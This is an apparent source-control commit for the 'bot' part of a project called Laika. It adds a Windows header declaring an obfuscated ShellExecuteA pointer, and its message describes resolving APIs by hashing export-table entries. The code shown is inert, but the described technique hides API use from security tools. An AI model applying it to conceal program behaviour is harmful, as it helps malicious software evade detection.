Bot: Added boilerplate windows API obfuscation

- Grabs the functions directly from the loaded library by walking the exported address table and comparing hashes
- For now, only ShellExecuteA has been setup, more to come

bot/include/obf.h

@@ -0,0 +1,17 @@
+#ifndef LAIKA_OBF_H
+#define LAIKA_OBF_H
+
+#include "laika.h"
+
+#ifdef _WIN32
+#    include <windows.h>
+
+/* WINAPI types */
+typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
+
+extern _ShellExecuteA oShellExecuteA;
+#endif
+
+void laikaO_init();
+
+#endif